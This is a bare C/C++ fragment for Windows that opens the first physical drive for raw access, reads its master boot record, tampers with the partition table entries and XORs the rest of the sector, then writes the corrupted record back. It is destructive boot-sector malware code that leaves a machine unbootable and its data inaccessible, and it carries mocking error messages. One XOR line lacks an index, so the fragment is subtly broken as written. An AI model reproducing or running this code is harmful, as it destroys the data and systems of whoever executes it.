HANDLE hDevice=
CreateFile("\\\\.\\PHYSICALDRIVE0",GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,
0,NULL);
if(hDevice==INVALID_HANDLE_VALUE)
{
MessageBox(NULL,"Your luck's so good !","Man~",MB_ICONERROR|MB_OK);
ExitProcess(0);
}
DWORD cout;
DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
DISK_GEOMETRY Getmetry;
DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Getmetry,sizeof(DISK_GEOMETRY),
&cout,
NULL);
LPTSTR szBuf;
szBuf=(LPTSTR)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
Getmetry.BytesPerSector);
if(szBuf==NULL)
{
MessageBox(NULL,
"Your luck's so good !","Man~",
MB_ICONERROR|MB_OK);
ExitProcess(0);
}
DWORD bytes=512;
DWORD readsize;
BOOL m_ret;
m_ret=ReadFile(hDevice,szBuf,bytes,&readsize,NULL);
if(m_ret==FALSE || readsize<512)
{
MessageBox(NULL,
"Your luck's so good !","Man~",
MB_ICONERROR|MB_OK);
ExitProcess(0);
}
BYTE MBR[512]={0};
for(int n=0;n<512;n++)
{
MBR[n]=szBuf[n];
}
DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
CloseHandle(hDevice);
MBR[0x1BE]=80;
MBR[0x1BF]=0;
MBR[0x1C2]=5;
for(int i=0x1C3;i<=0x1FE;i++)
{
MBR=MBR^26;
}
hDevice=
CreateFile("\\\\.\\PHYSICALDRIVE0",
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if(hDevice==INVALID_HANDLE_VALUE)
{
MessageBox(NULL,
"Your luck's so good !","Man~",
MB_ICONERROR|MB_OK);
ExitProcess(0);
}
DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
m_ret=WriteFile(hDevice,MBR,bytes,&readsize,NULL);
if(m_ret==FALSE||readsize<512)
{
MessageBox(NULL,
"Your luck's so good !","Shit",
MB_ICONERROR|MB_OK);
ExitProcess(0);
}
DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);